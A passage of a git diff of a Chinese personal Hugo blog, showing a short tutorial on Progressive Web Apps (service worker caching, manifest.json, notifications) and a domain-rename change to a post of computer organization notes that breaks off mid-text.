href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8PWA%e6%8a%80%e6%9c%af.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能</p><p>PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成</p><p>Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信</p><p>注册Service Worker</p><pre><code>navigator.serviceWorker.register('./sw.js',{scope: '/'}).then(
+    registration =&gt; {
+        console.log(registration)
+    },error =&gt; {
+        console.error(error)
+    }
+)
+window.onload = function() {
+    document.body.append('PWA!')
+}
+</code></pre><p>sw.js</p><pre><code>const cachename = 'v1'
+self.addEventListener('install', function (event) {
+    console.log('install',event)
+    // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
+    event.waitUntil(new Promise(resolve =&gt;{
+        setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
+    }))
+    // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
+    event.waitUntil(caches.open(name).then(cache =&gt;{
+        cache.addAll([
+            '/',
+            './1.img'
+        ])
+    })) // 开启cache api缓存系统
+})
+self.addEventListener('activate', function (event) {
+    console.log('activate',event)
+    // 激活新的Service Worker脚本事件
+    event.waitUntil(self.clients.claim())
+    event.waitUntil(caches.keys().then(cacheNames =&gt;{
+        return Promise.all(cacheNames.map(cacheNames =&gt;{
+            if(cacheNames !== cachename){
+                caches.delete(cacheNames) // 当前缓存名称不等于设置的缓存名称时，清除缓存，重新获取资源
+            }
+        }))
+    }))
+})
+self.addEventListener('fetch', function (event) {
+    console.log('fetch',event)
+    // 获取资源请求事件，例如增加外链
+    event.respondWith(caches.open(cachename).then(cache =&gt; {
+        return cache.match(event.request).then(response =&gt;{
+            if(response){
+                return response // 命中缓存则直接使用缓存
+            }
+            return fetch(event.request).then(response =&gt;{
+                cache.put(event.request,response.clone())
+                // 没有命中则获取该资源
+                return response
+            })
+        })
+    }))
+})
+</code></pre><p>manifest.json：让web应用具备app的效果，例如logo，启动页面</p><pre><code>{
+    &quot;name&quot;: &quot;hallo&quot;,
+    &quot;short_name&quot;: &quot;你好&quot;,
+    &quot;display&quot;: &quot;standalone&quot;,
+    &quot;orientation&quot;: &quot;landscape&quot;,
+    &quot;start_url&quot;: &quot;/&quot;,
+    &quot;theme_color&quot;: &quot;purple&quot;,
+    &quot;background_color&quot;: &quot;purple&quot;,
+    &quot;icons&quot;: [
+        {
+            &quot;src&quot;: &quot;logo.jpg&quot;,
+            &quot;sizes&quot;: &quot;48x48&quot;,
+            &quot;type&quot;: &quot;image/jpg&quot;
+        },
+        {
+            &quot;src&quot;: &quot;logo1.jpg&quot;,
+            &quot;sizes&quot;: &quot;144x144&quot;,
+            &quot;type&quot;: &quot;image/jpg&quot;
+        }
+    ]
+}
+</code></pre><p>Notification消息推送</p><p>查看授权</p><p>Notification.permission</p><p>有3个值，在浏览器默认为default，当同意时，为granted，当不同意时，为denied</p><p>在Service Worker中，默认为denied，因为Service Worker不能弹出授权请求，必须先在浏览器中同意后，Service Worker只能发送通知</p><p>请求授权</p><p>Notification.requestPermission().then(permission => console.log(permission))</p><p>发送通知</p><p>new Notification(&lsquo;hallo word&rsquo;, {body: &lsquo;hallo&rsquo;})</p><p>在Service Worker发送通知</p><p>self.registration.showNotificatio(&lsquo;hallo word&rsquo;)</p><p>成熟的PWA插件，workbox</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/pwa/>PWA</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/155/><span class=title>« Prev</span><br><span>计算机组成原理学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/153/><span class=title>Next »</span><br><span>ECharts数据可视化图表库简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/155/index.html b/posts/155/index.html
index fbbff8ff..3f8df3e5 100644
--- a/posts/155/index.html
+++ b/posts/155/index.html
@@ -65,8 +65,8 @@
 计算机的字符和编码集
 字符编码集的历史
 ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）
-因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/155/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机组成原理学习笔记"><meta property="og:description" content="计算机发展历史
+因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/155/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机组成原理学习笔记"><meta property="og:description" content="计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
 电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）
@@ -133,7 +133,7 @@
 计算机的字符和编码集
 字符编码集的历史
 ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）
-因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/155/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-01T02:00:00+00:00"><meta property="article:modified_time" content="2022-11-01T02:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机组成原理学习笔记"><meta name=twitter:description content="计算机发展历史
+因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/155/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-01T02:00:00+00:00"><meta property="article:modified_time" content="2022-11-01T02:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机组成原理学习笔记"><meta name=twitter:description content="计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
 电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）
@@ -200,8 +200,8 @@
 计算机的字符和编码集
 字符编码集的历史
 ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）
-因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"计算机组成原理学习笔记","item":"https://xiaochenabc123.github.io/posts/155/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"计算机组成原理学习笔记","name":"计算机组成原理学习笔记","description":"计算机发展历史\n1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机\n电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次\n电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）\n晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器的原因，而诞生了世界第一款电子游戏，太空战争）\n晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快\n集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）\n超大规模集成电路计算机：芯片集成超大规模的集成电路\n微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）\n摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍\n后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效\n因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上\n计算机的分类\n超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）\n著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra\n天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心\n大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）\n迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱\n工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）\n微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机\n计算机体系和结构\n冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序\n冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备\n冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）\n冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输\n现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）\n计算机层次和编程语言\n程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换\n高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器\n常见的编译型语言有C，C++，Golang\n高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的\n常见的解析型语言有Python，PHP\njava是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器\n计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层\n硬件逻辑层：由门电路和触发器等逻辑电路组成\n微程序机器层：由微指令组成的微程序直接交给硬件执行\n传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集\n这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令\n操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）\n汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器\n高级语言层：高级语言\n应用层：应用软件\n计算机的计算单位\n容量单位\n在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））\n1字节（Byte）等于8bit\n1Kb（千字位）等于1024字节（Byte）\n1mb（兆字节）等于1025kb（千字节）\n1Gb（吉字节）等于1024mb（兆字节）\n1tb（太字节）等于1024gb（吉字节）\n1pb（拍字节）等于1024tb（太字节）\n1eb（艾字节）等于1024pb（拍字节）\n1024是2的10次方\n对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb\n因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量\n原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制\n速度单位\n网络速度\n网络传输数据的单位为Mbps\n因此100M宽带就是指100Mbit/s，每秒传输100Mbps\n100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb\nCPU速度（CPU的时钟频率，Hz）\nHz是每秒中的周期性变动重复次数的计量\n例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化\n计算机的字符和编码集\n字符编码集的历史\nASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）\n因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符","keywords":["计算机组成原理"],"articleBody":"计算机发展历史\n1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机\n电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次\n电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）\n晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器的原因，而诞生了世界第一款电子游戏，太空战争）\n晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快\n集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）\n超大规模集成电路计算机：芯片集成超大规模的集成电路\n微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）\n摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍\n后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效\n因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上\n计算机的分类\n超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）\n著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra\n天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心\n大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）\n迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱\n工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）\n微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机\n计算机体系和结构\n冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序\n冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备\n冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）\n冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输\n现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）\n计算机层次和编程语言\n程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换\n高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器\n常见的编译型语言有C，C++，Golang\n高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的\n常见的解析型语言有Python，PHP\njava是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器\n计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层\n硬件逻辑层：由门电路和触发器等逻辑电路组成\n微程序机器层：由微指令组成的微程序直接交给硬件执行\n传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集\n这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令\n操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）\n汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器\n高级语言层：高级语言\n应用层：应用软件\n计算机的计算单位\n容量单位\n在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））\n1字节（Byte）等于8bit\n1Kb（千字位）等于1024字节（Byte）\n1mb（兆字节）等于1025kb（千字节）\n1Gb（吉字节）等于1024mb（兆字节）\n1tb（太字节）等于1024gb（吉字节）\n1pb（拍字节）等于1024tb（太字节）\n1eb（艾字节）等于1024pb（拍字节）\n1024是2的10次方\n对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb\n因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量\n原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制\n速度单位\n网络速度\n网络传输数据的单位为Mbps\n因此100M宽带就是指100Mbit/s，每秒传输100Mbps\n100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb\nCPU速度（CPU的时钟频率，Hz）\nHz是每秒中的周期性变动重复次数的计量\n例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化\n计算机的字符和编码集\n字符编码集的历史\nASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）\n因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符\n中文编码集\n国标GB2312，诞生于1980年，中文名为信息交换用汉字编码字符集-基本集，GB2312收录了7445个字符（6763个汉字和682个其他字符）\n因为GB2312不符合国际标准，因此推出GBK（汉字内码扩展规范），向下兼容GB2312，向上支持国际ISO标准，GBK收录了21003个汉字，支持全部中日韩汉字\n为了解决全球的字符集问题，推出了Unicode（又被叫为统一码，万国码，单一码），Unicode定义的世界通用的编码集，并且使用UTF-x来对Unicode进行编码（这个x表示一个字符占多少bits，例如utf-8就是指，1个字符占了8个bits）\n计算机组成\n总线：解决不同设备之间的通信问题\n常见的总线有：\nUSB：全称Universal Serial Bus（通用串行总线）\nPCI总线（外置显卡）\nISA总线\nThunderbolt总线\n总线分2种，片内总线（就是芯片内部的总线，传递芯片内部的信息），系统总线（就是连接计算机外围设备的总线，负责CPU，内存，IO设备之间的信息传递）\n系统总线又分为数据总线（数据总线的位数（总线宽度）一般于CPU位数相同，64位（可以一次传输64位，8个字节的数据），负责双向传输数据信息），地址总线（指定数据的内存中的地址，位数为n时，寻址范围为0到2的n次方，位数和存储单元的位数有关系），控制总线（负责传输控制信号，控制信号通过控制总线，从这一个组件传输给另一个组件（例如显卡发送控制信号给显示器），而且还可以监控设备是否就绪）\n总线仲裁（解决多个设备就绪，总线的使用权分配问题）\n仲裁控制器：控制设备使用总线的优先顺序\n仲裁方法：链式查询（仲裁控制器连接总线的全部设备（串连），需要使用总线的设备发送仲裁，优先级高的最先允许，使用完毕，再询问下一个设备，直到没有需要，这就是链式查询），计时器定时查询（仲裁控制器使用计数器累计计数，当接收到仲裁信号后，向全部设备发送计数值，当计数值和设备编码一致时获取使用权），独立请求（每个设备都有总线独立连接仲裁器，设备都可以向仲裁控制器单独发送请求和接收请求）\n输入/输出设备\n常见输入/输出设备：字符输入设备（键盘），图形输入设备（鼠标，数位板，扫描仪），图像输出设备（显示器，打印机，投影仪）\n输入/输出接口通用设计：允许读取数据，允许向设备发送数据，允许检测设备是否被占用，允许检查设备是否已连接，允许检查设备已启动\n数据线（I/O设备与主机传输数据，单向，双向），状态线（I/O设备向主机报告的信息线，主机可以通过该线来查询设备是否已经正常连接并且已经就绪，也可以查询